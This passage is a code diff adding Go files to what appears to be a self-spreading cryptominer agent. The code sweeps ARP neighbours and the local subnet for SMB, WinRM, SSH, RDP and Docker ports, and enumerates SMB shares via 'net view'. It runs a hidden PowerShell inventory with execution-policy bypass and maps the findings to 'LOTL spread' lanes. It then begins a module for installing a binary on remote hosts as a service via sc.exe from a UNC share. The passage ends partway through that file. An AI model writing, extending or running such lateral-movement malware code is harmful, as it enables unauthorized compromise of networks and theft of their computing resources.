||||
if hints.DomainJoined {
|
||||
hints.PreferJoinLane = "gpo"
|
||||
}
|
||||
if hints.PreferJoinLane != "gpo" {
|
||||
t.Fatalf("got %q", hints.PreferJoinLane)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCollectPassiveNetworkHintsAlias(t *testing.T) {
|
||||
a := CollectNetworkHints(5)
|
||||
b := CollectPassiveNetworkHints(5)
|
||||
if a.SpreadTargetCount != b.SpreadTargetCount {
|
||||
t.Fatal("export alias should match CollectNetworkHints")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDiscoverLANSpreadTargetsUsesNeighborMerge(t *testing.T) {
|
||||
targets := DiscoverLANSpreadTargets(128)
|
||||
if len(targets) > 128 {
|
||||
t.Fatalf("cap ignored: %d targets", len(targets))
|
||||
}
|
||||
}
|
||||
207
agent/deploy/service_discovery.go
Normal file
207
agent/deploy/service_discovery.go
Normal file
@@ -0,0 +1,207 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// commonLANPorts are probed on ARP/subnet LAN targets (enumeration only).
|
||||
var commonLANPorts = []int{22, 445, 3389, 5985, 5986, 2375, 8080, 8443, 2222}
|
||||
|
||||
// portServiceNames maps well-known ports to friendly service labels.
|
||||
var portServiceNames = map[int]string{
|
||||
22: "ssh",
|
||||
445: "smb",
|
||||
3389: "rdp",
|
||||
5985: "winrm",
|
||||
5986: "winrm-https",
|
||||
2375: "docker-api",
|
||||
8080: "http-alt",
|
||||
8443: "https-alt",
|
||||
2222: "ssh-alt",
|
||||
}
|
||||
|
||||
// RunServiceDiscover performs local + LAN service enumeration and returns JSON.
|
||||
func RunServiceDiscover(maxLANHosts int) string {
|
||||
if maxLANHosts <= 0 {
|
||||
maxLANHosts = 32
|
||||
}
|
||||
if maxLANHosts > MaxSubnetScanHosts {
|
||||
maxLANHosts = MaxSubnetScanHosts
|
||||
}
|
||||
|
||||
localIP := localIPv4ForDiscovery()
|
||||
localSubnet := getSubnet(localIP)
|
||||
|
||||
passive := collectPassiveHints()
|
||||
hints := CollectNetworkHints(maxLANHosts)
|
||||
for _, h := range appendNetworkHintStrings(hints) {
|
||||
passive = append(passive, h)
|
||||
}
|
||||
|
||||
result := ServiceDiscoverResult{
|
||||
ProbedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
PassiveHints: passive,
|
||||
Local: ServiceGraphHost{
|
||||
Host: localIP,
|
||||
Subnet: localSubnet,
|
||||
Services: probeLocalServices(),
|
||||
},
|
||||
}
|
||||
|
||||
lanHosts := discoverLANServiceGraph(maxLANHosts)
|
||||
result.LANHosts = lanHosts
|
||||
|
||||
b, _ := json.Marshal(result)
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func localIPv4ForDiscovery() string {
|
||||
ips := getLocalIPs()
|
||||
for _, ip := range ips {
|
||||
if isIPv4(ip) {
|
||||
return ip
|
||||
}
|
||||
}
|
||||
if ip, err := PrimaryLocalIPv4(); err == nil && ip != "" {
|
||||
return ip
|
||||
}
|
||||
return "127.0.0.1"
|
||||
}
|
||||
|
||||
func discoverLANServiceGraph(maxHosts int) []ServiceGraphHost {
|
||||
targets := lanDiscoveryTargets(maxHosts)
|
||||
localSet := make(map[string]bool)
|
||||
for _, ip := range getLocalIPs() {
|
||||
localSet[ip] = true
|
||||
}
|
||||
|
||||
var hosts []ServiceGraphHost
|
||||
for _, host := range targets {
|
||||
if localSet[host] {
|
||||
continue
|
||||
}
|
||||
entries := probeLANHostServices(host)
|
||||
if len(entries) == 0 {
|
||||
continue
|
||||
}
|
||||
hosts = append(hosts, ServiceGraphHost{
|
||||
Host: host,
|
||||
Subnet: getSubnet(host),
|
||||
Services: entries,
|
||||
})
|
||||
}
|
||||
return hosts
|
||||
}
|
||||
|
||||
func appendNetworkHintStrings(h NetworkHints) []string {
|
||||
var out []string
|
||||
if h.DomainJoined {
|
||||
out = append(out, "domain_joined:"+h.DomainName)
|
||||
}
|
||||
if h.PreferJoinLane != "" {
|
||||
out = append(out, "prefer_join_lane:"+h.PreferJoinLane)
|
||||
}
|
||||
for _, s := range h.LdapSRV {
|
||||
out = append(out, "ldap_srv:"+s)
|
||||
}
|
||||
for _, s := range h.KerberosSRV {
|
||||
out = append(out, "kerberos_srv:"+s)
|
||||
}
|
||||
if h.EnterpriseCodeSignCert {
|
||||
out = append(out, "enterprise_code_sign")
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// lanDiscoveryTargets merges ARP cache neighbors with a capped /24 port knock (Path Tracer LAN discovery).
|
||||
func lanDiscoveryTargets(maxHosts int) []string {
|
||||
seen := make(map[string]bool)
|
||||
var out []string
|
||||
|
||||
add := func(ip string) {
|
||||
ip = strings.TrimSpace(ip)
|
||||
if ip == "" || !isIPv4(ip) || seen[ip] {
|
||||
return
|
||||
}
|
||||
seen[ip] = true
|
||||
out = append(out, ip)
|
||||
}
|
||||
|
||||
for _, ip := range arpHosts() {
|
||||
if len(out) >= maxHosts {
|
||||
return out
|
||||
}
|
||||
add(ip)
|
||||
}
|
||||
|
||||
for _, ip := range getLocalIPs() {
|
||||
if !isIPv4(ip) || len(out) >= maxHosts {
|
||||
continue
|
||||
}
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
for i := 1; i < 255 && len(out) < maxHosts; i++ {
|
||||
candidate, ok := ipv4SweepHost(subnet, i)
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
if candidate == ip {
|
||||
continue
|
||||
}
|
||||
if open := probePorts(candidate, commonLANPorts); len(open) > 0 {
|
||||
add(candidate)
|
||||
}
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func probeLANHostServices(host string) []ServiceGraphEntry {
|
||||
var entries []ServiceGraphEntry
|
||||
open := probePorts(host, commonLANPorts)
|
||||
for _, p := range open {
|
||||
name := portServiceNames[p]
|
||||
if name == "" {
|
||||
name = "tcp/" + strconv.Itoa(p)
|
||||
}
|
||||
entries = append(entries, entryWithLane(name, p, "lan_port"))
|
||||
}
|
||||
|
||||
if smbEntries := probeSMBGraphEntries(host); len(smbEntries) > 0 {
|
||||
entries = append(entries, smbEntries...)
|
||||
}
|
||||
return dedupeEntries(entries)
|
||||
}
|
||||
|
||||
func probeSMBGraphEntries(host string) []ServiceGraphEntry {
|
||||
conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, "445"), 800*time.Millisecond)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
conn.Close()
|
||||
|
||||
// Windows net view enumeration is platform-specific; on Unix we only record SMB port.
|
||||
if runtime.GOOS != "windows" {
|
||||
return []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
|
||||
}
|
||||
out, err := HiddenOutput("net", "view", "\\\\"+host)
|
||||
if err != nil {
|
||||
return []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
|
||||
}
|
||||
shares := parseNetViewShares(strings.TrimSpace(string(out)))
|
||||
if len(shares) == 0 {
|
||||
return []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
|
||||
}
|
||||
entries := []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
|
||||
for _, share := range shares {
|
||||
entries = append(entries, entryWithLane("smb-share:"+share, 445, "smb_share"))
|
||||
}
|
||||
return entries
|
||||
}
|
||||
126
agent/deploy/service_discovery_test.go
Normal file
126
agent/deploy/service_discovery_test.go
Normal file
@@ -0,0 +1,126 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestJoinLaneForSignal(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
port int
|
||||
want string
|
||||
}{
|
||||
{"LanmanServer", 0, "smb"},
|
||||
{"smb", 445, "smb"},
|
||||
{"winrm", 5985, "winrm"},
|
||||
{"sshd", 22, "linux"},
|
||||
{"docker", 0, "docker"},
|
||||
{"CCMEXEC", 0, "gpo"},
|
||||
{"gitlab-runner", 0, "bits_curl"},
|
||||
{"jenkins", 8080, "bits_curl"},
|
||||
{"unknown-svc", 9999, ""},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
got := JoinLaneForSignal(tc.name, tc.port)
|
||||
if got != tc.want {
|
||||
t.Fatalf("%s:%d => %q, want %q", tc.name, tc.port, got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestMergeServiceGraphHosts(t *testing.T) {
|
||||
base := map[string]ServiceGraphHost{
|
||||
"10.0.0.5": {
|
||||
Host: "10.0.0.5",
|
||||
Subnet: "10.0.0",
|
||||
Services: []ServiceGraphEntry{
|
||||
entryWithLane("smb", 445, "lan_port"),
|
||||
},
|
||||
},
|
||||
}
|
||||
merged := MergeServiceGraphHosts(base, ServiceGraphHost{
|
||||
Host: "10.0.0.5",
|
||||
Subnet: "10.0.0",
|
||||
Services: []ServiceGraphEntry{
|
||||
entryWithLane("smb", 445, "lan_port"),
|
||||
entryWithLane("winrm", 5985, "lan_port"),
|
||||
},
|
||||
}, ServiceGraphHost{
|
||||
Host: "10.0.0.12",
|
||||
Subnet: "10.0.0",
|
||||
Services: []ServiceGraphEntry{
|
||||
entryWithLane("ssh", 22, "lan_port"),
|
||||
},
|
||||
})
|
||||
if len(merged) != 2 {
|
||||
t.Fatalf("hosts = %d", len(merged))
|
||||
}
|
||||
if len(merged["10.0.0.5"].Services) != 2 {
|
||||
t.Fatalf("10.0.0.5 services = %v", merged["10.0.0.5"].Services)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseWindowsDiscoverFixture(t *testing.T) {
|
||||
fixture := `{"services":[{"name":"CCMEXEC","status":"running"},{"name":"tcp/5985","port":5985,"status":"listening"},{"name":"LanmanServer","status":"running"}],"hints":["domain_joined","docker_pipe"]}`
|
||||
entries, hints := ParseWindowsDiscoverFixture(fixture)
|
||||
if len(entries) != 3 {
|
||||
t.Fatalf("entries = %v", entries)
|
||||
}
|
||||
if entries[0].JoinLaneCandidate != "gpo" {
|
||||
t.Fatalf("CCMEXEC lane = %q", entries[0].JoinLaneCandidate)
|
||||
}
|
||||
if entries[1].JoinLaneCandidate != "winrm" {
|
||||
t.Fatalf("winrm lane = %q", entries[1].JoinLaneCandidate)
|
||||
}
|
||||
if len(hints) != 2 || hints[0] != "domain_joined" {
|
||||
t.Fatalf("hints = %v", hints)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseSystemctlListUnitsFixture(t *testing.T) {
|
||||
fixture := `UNIT LOAD ACTIVE SUB DESCRIPTION
|
||||
docker.service loaded active running Docker Application Container Engine
|
||||
ssh.service loaded active running OpenBSD Secure Shell server
|
||||
gitlab-runner.service loaded active running GitLab Runner`
|
||||
entries := ParseSystemctlListUnitsFixture(fixture)
|
||||
if len(entries) != 3 {
|
||||
t.Fatalf("entries = %v", entries)
|
||||
}
|
||||
if entries[2].JoinLaneCandidate != "bits_curl" {
|
||||
t.Fatalf("gitlab lane = %q", entries[2].JoinLaneCandidate)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseServiceDiscoverJSON(t *testing.T) {
|
||||
raw := `noise before json
|
||||
{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.1.2.3","subnet":"10.1.2","services":[{"service_name":"docker","join_lane_candidate":"docker","source":"passive_hint"}]},"lan_hosts":[{"host":"10.1.2.50","subnet":"10.1.2","services":[{"service_name":"smb","port":445,"join_lane_candidate":"smb","source":"lan_port"}]}],"passive_hints":["docker_socket"]}`
|
||||
result, err := ParseServiceDiscoverJSON(raw)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Local.Host != "10.1.2.3" || len(result.LANHosts) != 1 {
|
||||
t.Fatalf("result = %+v", result)
|
||||
}
|
||||
}
|
||||
|
||||
func TestServiceDiscoverResultRoundTrip(t *testing.T) {
|
||||
result := ServiceDiscoverResult{
|
||||
ProbedAt: "2026-06-06T12:00:00Z",
|
||||
Local: ServiceGraphHost{
|
||||
Host: "192.168.1.10",
|
||||
Subnet: "192.168.1",
|
||||
Services: []ServiceGraphEntry{
|
||||
{ServiceName: "WinRM", Port: 5985, JoinLaneCandidate: "winrm", Source: "local_service"},
|
||||
},
|
||||
},
|
||||
}
|
||||
b, err := json.Marshal(result)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(string(b), `"join_lane_candidate":"winrm"`) {
|
||||
t.Fatalf("json = %s", string(b))
|
||||
}
|
||||
}
|
||||
124
agent/deploy/service_discovery_unix.go
Normal file
124
agent/deploy/service_discovery_unix.go
Normal file
@@ -0,0 +1,124 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var serviceDiscoverUnits = []string{
|
||||
"docker", "docker.service", "ssh", "sshd", "jenkins", "gitlab-runner",
|
||||
"cloudflared", "fail2ban", "ufw", "firewalld",
|
||||
}
|
||||
|
||||
func probeLocalServices() []ServiceGraphEntry {
|
||||
var entries []ServiceGraphEntry
|
||||
for _, unit := range serviceDiscoverUnits {
|
||||
status := "not_found"
|
||||
if activeOut, err := exec.Command("systemctl", "is-active", unit).CombinedOutput(); err == nil {
|
||||
active := strings.TrimSpace(string(activeOut))
|
||||
switch active {
|
||||
case "active":
|
||||
status = "running"
|
||||
case "inactive", "failed", "dead":
|
||||
status = "stopped"
|
||||
default:
|
||||
if active != "unknown" {
|
||||
status = "stopped"
|
||||
}
|
||||
}
|
||||
}
|
||||
if status == "not_found" {
|
||||
continue
|
||||
}
|
||||
entries = append(entries, entryWithLane(unit, 0, "local_service"))
|
||||
}
|
||||
|
||||
if _, err := os.Stat("/var/run/docker.sock"); err == nil {
|
||||
entries = append(entries, entryWithLane("docker", 0, "passive_hint"))
|
||||
}
|
||||
|
||||
if out, err := exec.Command("ss", "-lnt").CombinedOutput(); err == nil {
|
||||
entries = append(entries, parseSSListening(string(out))...)
|
||||
} else if out, err := exec.Command("netstat", "-lnt").CombinedOutput(); err == nil {
|
||||
entries = append(entries, parseNetstatListening(string(out))...)
|
||||
}
|
||||
|
||||
return dedupeEntries(entries)
|
||||
}
|
||||
|
||||
func collectPassiveHints() []string {
|
||||
var hints []string
|
||||
if _, err := os.Stat("/var/run/docker.sock"); err == nil {
|
||||
hints = append(hints, "docker_socket")
|
||||
}
|
||||
for _, path := range []string{
|
||||
"/var/lib/gitlab-runner",
|
||||
"/etc/gitlab-runner",
|
||||
"/var/lib/jenkins",
|
||||
} {
|
||||
if _, err := os.Stat(path); err == nil {
|
||||
hints = append(hints, "runner_path:"+path)
|
||||
}
|
||||
}
|
||||
return hints
|
||||
}
|
||||
|
||||
func parseSSListening(text string) []ServiceGraphEntry {
|
||||
var entries []ServiceGraphEntry
|
||||
for _, line := range strings.Split(text, "\n") {
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) < 4 {
|
||||
continue
|
||||
}
|
||||
local := fields[3]
|
||||
port := parseListenPort(local)
|
||||
if port == 0 {
|
||||
continue
|
||||
}
|
||||
name := portServiceNames[port]
|
||||
if name == "" {
|
||||
name = "tcp/" + strconv.Itoa(port)
|
||||
}
|
||||
entries = append(entries, entryWithLane(name, port, "passive_hint"))
|
||||
}
|
||||
return entries
|
||||
}
|
||||
|
||||
func parseNetstatListening(text string) []ServiceGraphEntry {
|
||||
var entries []ServiceGraphEntry
|
||||
for _, line := range strings.Split(text, "\n") {
|
||||
if !strings.Contains(line, "LISTEN") {
|
||||
continue
|
||||
}
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) < 4 {
|
||||
continue
|
||||
}
|
||||
local := fields[3]
|
||||
port := parseListenPort(local)
|
||||
if port == 0 {
|
||||
continue
|
||||
}
|
||||
name := portServiceNames[port]
|
||||
if name == "" {
|
||||
name = "tcp/" + strconv.Itoa(port)
|
||||
}
|
||||
entries = append(entries, entryWithLane(name, port, "passive_hint"))
|
||||
}
|
||||
return entries
|
||||
}
|
||||
|
||||
func parseListenPort(local string) int {
|
||||
// formats: *:22, 0.0.0.0:445, [::]:8080
|
||||
if i := strings.LastIndex(local, ":"); i >= 0 {
|
||||
portStr := strings.TrimSuffix(local[i+1:], "]")
|
||||
if n, err := strconv.Atoi(portStr); err == nil {
|
||||
return n
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
120
agent/deploy/service_discovery_windows.go
Normal file
120
agent/deploy/service_discovery_windows.go
Normal file
@@ -0,0 +1,120 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const serviceDiscoverScript = `
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$p = [ordered]@{ services = @(); hints = @() }
|
||||
|
||||
# ── Local services (T1007) — management + spread-relevant only ───────────────
|
||||
$watch = @(
|
||||
'CCMEXEC','CcmSetup','SmsAgent','WinRM','ssh','sshd','LanmanServer','Docker',
|
||||
'com.docker.service','jenkins','Jenkins','gitlab-runner','GitLabRunner',
|
||||
'OpenSSH SSH Server','cloudflared','gpsvc'
|
||||
)
|
||||
foreach ($n in $watch) {
|
||||
try {
|
||||
$s = Get-Service -Name $n -ErrorAction SilentlyContinue
|
||||
if (-not $s) {
|
||||
$s = Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -eq $n -or $_.DisplayName -like "*$n*" } | Select-Object -First 1
|
||||
}
|
||||
if ($s) {
|
||||
$st = if ($s.Status -eq 'Running') { 'running' } else { 'stopped' }
|
||||
$p.services += [ordered]@{ name = $s.Name; status = $st }
|
||||
}
|
||||
} catch {}
|
||||
}
|
||||
|
||||
# ── GPO / Intune passive indicators ───────────────────────────────────────────
|
||||
try {
|
||||
$cs = Get-CimInstance Win32_ComputerSystem
|
||||
if ($cs.PartOfDomain) { $p.hints += 'domain_joined' }
|
||||
} catch {}
|
||||
if (Test-Path 'HKLM:\SOFTWARE\Microsoft\Enrollments') { $p.hints += 'intune_enrollment_key' }
|
||||
if (Test-Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate') { $p.hints += 'wu_policy_key' }
|
||||
try {
|
||||
if ((Get-Service gpsvc -ErrorAction SilentlyContinue).Status -eq 'Running') { $p.hints += 'group_policy_client' }
|
||||
} catch {}
|
||||
|
||||
# ── Docker socket / named pipe ────────────────────────────────────────────────
|
||||
if (Test-Path '\\.\pipe\docker_engine') { $p.hints += 'docker_pipe' }
|
||||
|
||||
# ── Jenkins / GitLab runner filesystem hints ──────────────────────────────────
|
||||
@(
|
||||
'C:\Program Files\Jenkins',
|
||||
'C:\GitLab-Runner',
|
||||
'C:\gitlab-runner'
|
||||
) | ForEach-Object { if (Test-Path $_) { $p.hints += ('runner_path:' + $_) } }
|
||||
|
||||
# ── Test-NetConnection — common ports on localhost (fast) ─────────────────────
|
||||
$ports = @(22,445,3389,5985,5986,2375,8080,8443)
|
||||
foreach ($port in $ports) {
|
||||
try {
|
||||
$r = Test-NetConnection -ComputerName 127.0.0.1 -Port $port -WarningAction SilentlyContinue -InformationLevel Quiet
|
||||
if ($r) { $p.services += [ordered]@{ name = ('tcp/' + $port); port = $port; status = 'listening' } }
|
||||
} catch {}
|
||||
}
|
||||
|
||||
$p | ConvertTo-Json -Depth 4 -Compress
|
||||
`
|
||||
|
||||
func probeLocalServices() []ServiceGraphEntry {
|
||||
out, err := HiddenCombinedOutput(
|
||||
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||
serviceDiscoverScript,
|
||||
)
|
||||
if err != nil {
|
||||
return fallbackWindowsLocalServices()
|
||||
}
|
||||
raw := strings.TrimSpace(string(out))
|
||||
if idx := strings.LastIndex(raw, "{"); idx > 0 {
|
||||
raw = raw[idx:]
|
||||
}
|
||||
var payload windowsDiscoverPayload
|
||||
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
|
||||
return fallbackWindowsLocalServices()
|
||||
}
|
||||
entries := windowsRowsToEntries(payload.Services)
|
||||
if dockerPipePresent() {
|
||||
entries = append(entries, entryWithLane("docker", 0, "passive_hint"))
|
||||
}
|
||||
return dedupeEntries(entries)
|
||||
}
|
||||
|
||||
func collectPassiveHints() []string {
|
||||
out, err := HiddenCombinedOutput(
|
||||
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||
serviceDiscoverScript,
|
||||
)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
raw := strings.TrimSpace(string(out))
|
||||
if idx := strings.LastIndex(raw, "{"); idx > 0 {
|
||||
raw = raw[idx:]
|
||||
}
|
||||
var payload windowsDiscoverPayload
|
||||
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
|
||||
return nil
|
||||
}
|
||||
return payload.Hints
|
||||
}
|
||||
|
||||
func fallbackWindowsLocalServices() []ServiceGraphEntry {
|
||||
var entries []ServiceGraphEntry
|
||||
if _, err := os.Stat(`\\.\pipe\docker_engine`); err == nil {
|
||||
entries = append(entries, entryWithLane("docker", 0, "passive_hint"))
|
||||
}
|
||||
return entries
|
||||
}
|
||||
|
||||
func dockerPipePresent() bool {
|
||||
_, err := os.Stat(`\\.\pipe\docker_engine`)
|
||||
return err == nil
|
||||
}
|
||||
189
agent/deploy/service_graph.go
Normal file
189
agent/deploy/service_graph.go
Normal file
@@ -0,0 +1,189 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ServiceGraphEntry is one discovered service or port signal on a host.
|
||||
type ServiceGraphEntry struct {
|
||||
ServiceName string `json:"service_name"`
|
||||
Port int `json:"port,omitempty"`
|
||||
Status string `json:"status,omitempty"`
|
||||
JoinLaneCandidate string `json:"join_lane_candidate,omitempty"`
|
||||
Source string `json:"source,omitempty"` // local_service, lan_port, smb_share, passive_hint
|
||||
}
|
||||
|
||||
// ServiceGraphHost groups service findings for one host on a subnet.
|
||||
type ServiceGraphHost struct {
|
||||
Host string `json:"host"`
|
||||
Subnet string `json:"subnet,omitempty"`
|
||||
Services []ServiceGraphEntry `json:"services"`
|
||||
}
|
||||
|
||||
// ServiceDiscoverResult is the JSON payload returned by service_discover.
|
||||
type ServiceDiscoverResult struct {
|
||||
ProbedAt string `json:"probed_at"`
|
||||
Local ServiceGraphHost `json:"local"`
|
||||
LANHosts []ServiceGraphHost `json:"lan_hosts,omitempty"`
|
||||
PassiveHints []string `json:"passive_hints,omitempty"`
|
||||
}
|
||||
|
||||
// JoinLaneForSignal maps a discovered service name or open port to a LOTL spread tier id.
|
||||
func JoinLaneForSignal(serviceName string, port int) string {
|
||||
name := strings.ToLower(strings.TrimSpace(serviceName))
|
||||
switch {
|
||||
case port == 445 || strings.Contains(name, "smb") || strings.Contains(name, "lanmanserver") || strings.Contains(name, "admin$"):
|
||||
return "smb"
|
||||
case port == 5985 || port == 5986 || strings.Contains(name, "winrm"):
|
||||
return "winrm"
|
||||
case port == 22 || strings.Contains(name, "ssh") || name == "sshd":
|
||||
return "linux"
|
||||
case port == 2375 || port == 2376 || strings.Contains(name, "docker"):
|
||||
return "docker"
|
||||
case strings.Contains(name, "wsl"):
|
||||
return "wsl"
|
||||
case strings.Contains(name, "powershell") || strings.Contains(name, "pwsh"):
|
||||
return "powershell"
|
||||
case strings.Contains(name, "dotnet"):
|
||||
return "dotnet"
|
||||
case strings.Contains(name, "jenkins") || strings.Contains(name, "gitlab") || strings.Contains(name, "runner"):
|
||||
return "bits_curl"
|
||||
case strings.Contains(name, "ccmexec") || strings.Contains(name, "sms_agent") || strings.Contains(name, "sccm"):
|
||||
return "gpo"
|
||||
case strings.Contains(name, "intune") || strings.Contains(name, "gpo") || strings.Contains(name, "group policy"):
|
||||
return "gpo"
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
func entryWithLane(name string, port int, source string) ServiceGraphEntry {
|
||||
return ServiceGraphEntry{
|
||||
ServiceName: name,
|
||||
Port: port,
|
||||
JoinLaneCandidate: JoinLaneForSignal(name, port),
|
||||
Source: source,
|
||||
}
|
||||
}
|
||||
|
||||
// MergeServiceGraphHosts merges host graphs keyed by host IP; later entries dedupe by service+port.
|
||||
func MergeServiceGraphHosts(base map[string]ServiceGraphHost, hosts ...ServiceGraphHost) map[string]ServiceGraphHost {
|
||||
if base == nil {
|
||||
base = make(map[string]ServiceGraphHost)
|
||||
}
|
||||
for _, h := range hosts {
|
||||
host := strings.TrimSpace(h.Host)
|
||||
if host == "" {
|
||||
continue
|
||||
}
|
||||
existing, ok := base[host]
|
||||
if !ok {
|
||||
dup := h
|
||||
dup.Services = dedupeEntries(h.Services)
|
||||
base[host] = dup
|
||||
continue
|
||||
}
|
||||
if existing.Subnet == "" && h.Subnet != "" {
|
||||
existing.Subnet = h.Subnet
|
||||
}
|
||||
existing.Services = dedupeEntries(append(existing.Services, h.Services...))
|
||||
base[host] = existing
|
||||
}
|
||||
return base
|
||||
}
|
||||
|
||||
func dedupeEntries(in []ServiceGraphEntry) []ServiceGraphEntry {
|
||||
seen := make(map[string]bool, len(in))
|
||||
out := make([]ServiceGraphEntry, 0, len(in))
|
||||
for _, e := range in {
|
||||
key := strings.ToLower(e.ServiceName) + "|" + strconv.Itoa(e.Port) + "|" + e.Source
|
||||
if seen[key] {
|
||||
continue
|
||||
}
|
||||
seen[key] = true
|
||||
out = append(out, e)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
type windowsServiceRow struct {
|
||||
Name string `json:"name"`
|
||||
Status string `json:"status"`
|
||||
Port int `json:"port"`
|
||||
}
|
||||
|
||||
type windowsDiscoverPayload struct {
|
||||
Services []windowsServiceRow `json:"services"`
|
||||
Hints []string `json:"hints"`
|
||||
}
|
||||
|
||||
func windowsRowsToEntries(rows []windowsServiceRow) []ServiceGraphEntry {
|
||||
var entries []ServiceGraphEntry
|
||||
for _, row := range rows {
|
||||
name := strings.TrimSpace(row.Name)
|
||||
if name == "" {
|
||||
continue
|
||||
}
|
||||
port := row.Port
|
||||
if strings.HasPrefix(strings.ToLower(name), "tcp/") && port == 0 {
|
||||
if p := strings.TrimPrefix(name, "tcp/"); p != name {
|
||||
if n, err := strconv.Atoi(strings.TrimSpace(p)); err == nil {
|
||||
port = n
|
||||
}
|
||||
}
|
||||
}
|
||||
entries = append(entries, ServiceGraphEntry{
|
||||
ServiceName: name,
|
||||
Port: port,
|
||||
Status: strings.TrimSpace(row.Status),
|
||||
JoinLaneCandidate: JoinLaneForSignal(name, port),
|
||||
Source: "local_service",
|
||||
})
|
||||
}
|
||||
return entries
|
||||
}
|
||||
|
||||
// ParseSystemctlListUnitsFixture parses test fixture output from systemctl list-units.
|
||||
func ParseSystemctlListUnitsFixture(raw string) []ServiceGraphEntry {
|
||||
var entries []ServiceGraphEntry
|
||||
for _, line := range strings.Split(raw, "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" || strings.HasPrefix(line, "UNIT") {
|
||||
continue
|
||||
}
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) < 3 {
|
||||
continue
|
||||
}
|
||||
unit := fields[0]
|
||||
state := fields[2]
|
||||
if state != "active" && state != "running" {
|
||||
continue
|
||||
}
|
||||
entries = append(entries, entryWithLane(unit, 0, "local_service"))
|
||||
}
|
||||
return entries
|
||||
}
|
||||
|
||||
// ParseWindowsDiscoverFixture parses JSON fixture from the Windows discovery script.
|
||||
func ParseWindowsDiscoverFixture(raw string) (entries []ServiceGraphEntry, hints []string) {
|
||||
raw = strings.TrimSpace(raw)
|
||||
var payload windowsDiscoverPayload
|
||||
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
|
||||
return nil, nil
|
||||
}
|
||||
return windowsRowsToEntries(payload.Services), payload.Hints
|
||||
}
|
||||
|
||||
// ParseServiceDiscoverJSON unmarshals agent command output into a result struct.
|
||||
func ParseServiceDiscoverJSON(raw string) (ServiceDiscoverResult, error) {
|
||||
var result ServiceDiscoverResult
|
||||
raw = strings.TrimSpace(raw)
|
||||
if idx := strings.Index(raw, "{"); idx > 0 {
|
||||
raw = raw[idx:]
|
||||
}
|
||||
err := json.Unmarshal([]byte(raw), &result)
|
||||
return result, err
|
||||
}
|
||||
53
agent/deploy/smb_unc_spread.go
Normal file
53
agent/deploy/smb_unc_spread.go
Normal file
@@ -0,0 +1,53 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// SMBUNCSpreadOpts configures remote sc.exe service creation against a UNC Forge share.
|
||||
type SMBUNCSpreadOpts struct {
|
||||
UNCPath string
|
||||
MaxHosts int
|
||||
SvcName string
|
||||
}
|
||||
|
||||
// ValidateUNCSpreadPath ensures the operator-supplied UNC points at a binary on a share.
|
||||
func ValidateUNCSpreadPath(unc string) error {
|
||||
unc = strings.TrimSpace(unc)
|
||||
if unc == "" {
|
||||
return fmt.Errorf("unc_path is required (e.g. \\\\forge-host\\pathforge$\\worker.exe)")
|
||||
}
|
||||
lower := strings.ToLower(unc)
|
||||
if !strings.HasPrefix(lower, `\\`) {
|
||||
return fmt.Errorf("unc_path must start with \\\\")
|
||||
}
|
||||
if strings.Contains(unc, "..") {
|
||||
return fmt.Errorf("unc_path must not contain ..")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
